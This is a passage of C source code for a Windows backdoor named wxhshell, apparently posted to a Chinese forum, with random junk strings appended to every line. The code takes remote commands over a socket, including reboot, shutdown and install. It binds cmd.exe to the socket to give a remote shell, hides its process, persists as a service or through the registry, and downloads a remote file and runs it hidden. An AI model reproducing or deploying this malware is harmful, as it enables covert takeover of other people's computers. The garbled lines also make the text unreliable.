HeLG?6  
    switch(cmd[0]) { p@~ic#X  
  irbw'^;y  
  // 帮助 R_ ZK0ar  
  case '?': { O^Q ,-=tA\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c6&Q^p|CF  
    break; 0 Y>M=|  
  } !E2W\chi  
  // 安装 ` qUX.  
  case 'i': { o.m:3!RW  
    if(Install()) k GHQ`h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F]EBD8/b  
    else ;AX8aw,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j+rG7z){K  
    break; r^0F"9eOL  
    } yVX8e I  
  // 卸载 D:"{g|nW}  
  case 'r': { GIyF81KR 3  
    if(Uninstall()) ),(V6@Z?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?**2{9&)  
    else Kcy@$uF{2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [;A[.&6  
    break; IgIYguQ   
    } /mA,F;   
  // 显示 wxhshell 所在路径 X6\ sF"E  
  case 'p': { =-"c*^$]  
    char svExeFile[MAX_PATH]; NX[4PKJ0C  
    strcpy(svExeFile,"\n\r"); /Fgw$ ^H  
      strcat(svExeFile,ExeFile); -F@L}|  
        send(wsh,svExeFile,strlen(svExeFile),0); aC%&U4OS  
    break; @n -r-Q  
    } t)f-mQz)  
  // 重启 S<`I Jpkv  
  case 'b': { e}hmS1>H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "%qzj93>  
    if(Boot(REBOOT)) mh.+."<)F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ts.wh>`  
    else { 8|6 4R:  
    closesocket(wsh); A1 "SLFY  
    ExitThread(0); x79Ha,  
    } CyDV r  
    break; |'d>JT:  
    } I_1e?\  
  // 关机 I%j_"r9-I  
  case 'd': { *.#oxcll  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >UDd @  
    if(Boot(SHUTDOWN)) ~PnTaAPJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fv74bC %  
    else { h[o6-f<D  
    closesocket(wsh); 1vzb8.  
    ExitThread(0); #bX9Tu0  
    } 99xEm  
    break; zCv"]%  
    } _P?s'HH  
  // 获取shell vi.w8 >CE  
  case 's': { En{`@JsM  
    CmdShell(wsh); UCW V2Mu  
    closesocket(wsh); F+m }#p  
    ExitThread(0); Ep9W-n?}  
    break; "]K>j'^Zs<  
  } MN ^Aw9U  
  // 退出 `d7n?|pD  
  case 'x': { z2_6??tS/c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $5x ,6[&  
    CloseIt(wsh); eI45PMP  
    break; '2^7-3_1  
    } >P6BW  
  // 离开 7%f&M>/  
  case 'q': { 0k)rc$eDF+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q7Iw[=;\  
    closesocket(wsh); fGhn+8VfX  
    WSACleanup(); v6.t{6zYgY  
    exit(1); M?m,EQh.  
    break; ^=>Tk$ _2  
        } 3?2 FP|G8  
  } oND@:>QBF  
  } `F<jLU^3  
Guz"wY  
  // 提示信息 h2ytS^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7f rTTSZ  
} %\]* OZ7  
  } ) e5 @  
X+UJzR90  
  return; *na?n2Yzt  
} A,sr[Pa@  
'5&s=M_  
// shell模块句柄 .<@8gNm3  
int CmdShell(SOCKET sock) #@<9S{F  
{ [8tL"G6s  
STARTUPINFO si; jC bV,0)^  
ZeroMemory(&si,sizeof(si)); _SW3_8SuM.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [sB 9gY(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F*"}aP$  
PROCESS_INFORMATION ProcessInfo; &f-Uyr7?  
char cmdline[]="cmd"; S<'[%ihx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F~ h7{@\  
  return 0; /|* Y2ETOr  
} .L'.c/ s  
yw];P o,  
// 自身启动模式 AGLscf.  
int StartFromService(void) % qV 6  
{ eek7=Z  
typedef struct |{CfWSB7~@  
{ 8Z(Mvq]f&  
  DWORD ExitStatus; *98$dQR$  
  DWORD PebBaseAddress; 6I@h9uIsze  
  DWORD AffinityMask; n{6G"t:^l  
  DWORD BasePriority; !pD*p)`s  
  ULONG UniqueProcessId; 0u\GO;  
  ULONG InheritedFromUniqueProcessId; y;s`P .  
}   PROCESS_BASIC_INFORMATION; ~\J}Kqg  
PLK3v4kVM!  
PROCNTQSIP NtQueryInformationProcess; dqN5]Sb2B  
]]zPq<b2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z^T`x_mF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q ]}Hd-  
Lhqz\o  
  HANDLE             hProcess; )wT-8o  
  PROCESS_BASIC_INFORMATION pbi; :j+ ZI3@  
z11O F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r-:Uz\gM  
  if(NULL == hInst ) return 0; iof-7{+3_  
|`.([2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HDF |{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l<A|d{"]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #{?qNl8F*J  
zAiXo__x  
  if (!NtQueryInformationProcess) return 0; !QvZ<5(  
G K7![p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ? #fu.YE\  
  if(!hProcess) return 0; E{|W(z,  
Y'8?.a]'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "1%5,  
EM[WK+9>I{  
  CloseHandle(hProcess); Evedc*z~P  
97}OL`y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZjF 4v  
if(hProcess==NULL) return 0; oz,e/v8~  
C#Na&m  
HMODULE hMod; ; #&yn=^  
char procName[255]; +mn ,F};  
unsigned long cbNeeded; Le\?+h42>  
PpAu!2lt9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "vOwd.(?N  
NfjE`  
  CloseHandle(hProcess); >Z'NXha  
/ G7vwC  
if(strstr(procName,"services")) return 1; // 以服务启动 B!?%O  
d>mo~  
  return 0; // 注册表启动 *-8&[D0  
} Sy0$z39  
R}!:'^  
// 主模块 d'NIV9P`j]  
int StartWxhshell(LPSTR lpCmdLine) UWd=!h^dt  
{ ui/a|Q  
  SOCKET wsl; Jcrw#l8|C  
BOOL val=TRUE; bcE._9@@  
  int port=0; PamO8^!G  
  struct sockaddr_in door; 67Th;h*sh  
OWg(#pZk  
  if(wscfg.ws_autoins) Install(); u)+8S/ )  
E? ; 0)'h  
port=atoi(lpCmdLine); T7hcnF$  
|R/%D%_g  
if(port<=0) port=wscfg.ws_port; A;]}m8(*  
1=d6NX)B  
  WSADATA data; #Up86(Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Al} B34.uh  
|xdsl,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -C(crn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v0H@Eg_  
  door.sin_family = AF_INET; SC)g^E#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6[ j.@[t  
  door.sin_port = htons(port); ~E2KZm  
%z,m B$LY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rWR}Stc@]  
closesocket(wsl); 7%x[q}  
return 1; qKr8)}h  
} ~d|A!S`  
m8d!< h  
  if(listen(wsl,2) == INVALID_SOCKET) { Bf~vA4  
closesocket(wsl); hG12ZZD  
return 1; 4R1<nZ"e~  
} vunHNHltW0  
  Wxhshell(wsl); Lr~=^{  
  WSACleanup(); (ROY?5 @c  
Y[}>CYO  
return 0; wsI`fO^A8  
K;?m';z0  
} w"-Lc4t+  
Bg x'9p/  
// 以NT服务方式启动 \Je0CD=e`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3q\,$*D.  
{ Krqtf  
DWORD   status = 0; .6+Z^,3  
  DWORD   specificError = 0xfffffff; =5~jx  
"K6&dk jY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :V RNs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4.[^\N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,St#Vla  
  serviceStatus.dwWin32ExitCode     = 0; &8Cu#^3  
  serviceStatus.dwServiceSpecificExitCode = 0; mwHB(7YS,  
  serviceStatus.dwCheckPoint       = 0; $P^q!H4D  
  serviceStatus.dwWaitHint       = 0; S2sQOM@  
YNKHN2E8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); chM%]|gey  
  if (hServiceStatusHandle==0) return; &^}1O:8e  
a|t$l=|DD  
status = GetLastError(); XDOY`N^L  
  if (status!=NO_ERROR) 96( v  
{ 'YmIKIw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g?goZPZB  
    serviceStatus.dwCheckPoint       = 0; cQy2"vtU  
    serviceStatus.dwWaitHint       = 0; G\2 CR*  
    serviceStatus.dwWin32ExitCode     = status; 4'/nax$Bx;  
    serviceStatus.dwServiceSpecificExitCode = specificError; ls\WXCH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Aw#?#GPW  
    return; iT3BF"ZqBO  
  } /R]U}o^/(%  
tdBm (CsN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ! >(7+B3E*  
  serviceStatus.dwCheckPoint       = 0; GfoLae  
  serviceStatus.dwWaitHint       = 0; [8 ]z|bM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @\0ez<.p}  
} a*lh)l<KV  
pjKWtY@=X  
// 处理NT服务事件,比如:启动、停止 ;=)k<6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wh$sn:J  
{ iVhJ t#_b  
switch(fdwControl) >E;uU[v)I  
{ Lb:g4A"  
case SERVICE_CONTROL_STOP: qeVfE_<  
  serviceStatus.dwWin32ExitCode = 0; @ym v< Mo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <wN}X#M  
  serviceStatus.dwCheckPoint   = 0; Y,<{vLEC  
  serviceStatus.dwWaitHint     = 0; !;q&NHco  
  { _{I3i:f9X8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fInb[  
  } 0L2F[TN  
  return; ry`Ho8N  
case SERVICE_CONTROL_PAUSE: x -WmMfcz&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ak$f"py x  
  break; cOmw?kA*G  
case SERVICE_CONTROL_CONTINUE: 3`t#UY).F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (-UYB9s  
  break; #xsE3Wj-X  
case SERVICE_CONTROL_INTERROGATE: ##,a0s^  
  break; &#{Z( h.de  
}; 44ek IV+?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W9 GxXPA  
} !Q2d(H>  
XRM_x:+]  
// 标准应用程序主函数 h5*JkRm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ysQ_[ ]/  
{ RIWxs Zt  
#^u$  
// 获取操作系统版本 eBZXI)pPh  
OsIsNt=GetOsVer(); .F98G/s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TV)h`\|Z*  
2Q/x@aT,h  
  // 从命令行安装 2e+UM$  
  if(strpbrk(lpCmdLine,"iI")) Install(); SE@LYeC}dE  
&47i"%  
  // 下载执行文件 /?uPEKr  
if(wscfg.ws_downexe) { >K_(J/&p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [_R~%Yh+'E  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,k +IPkN+  
} !,wIQy_e4  
o5Dk:Bw  
if(!OsIsNt) { x[FJgI'r  
// 如果时win9x,隐藏进程并且设置为注册表启动 lHN5Dr  
HideProc(); sXLq*b?  
StartWxhshell(lpCmdLine); 1-8mFIK  
} dP9qSwTa  
else b6 cBg  
  if(StartFromService()) N]>=p.#j  
  // 以服务方式启动 zGb|)A~,  
  StartServiceCtrlDispatcher(DispatchTable); 5kc/Y/4o  
else f',Op1o  
  // 普通方式启动 \j@OZ   
  StartWxhshell(lpCmdLine); 1!xQ=DU"  
6dq(T_eG  
return 0; ne>pOK<vZ  
}
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只看该作者 1 发表于: 2006-10-10
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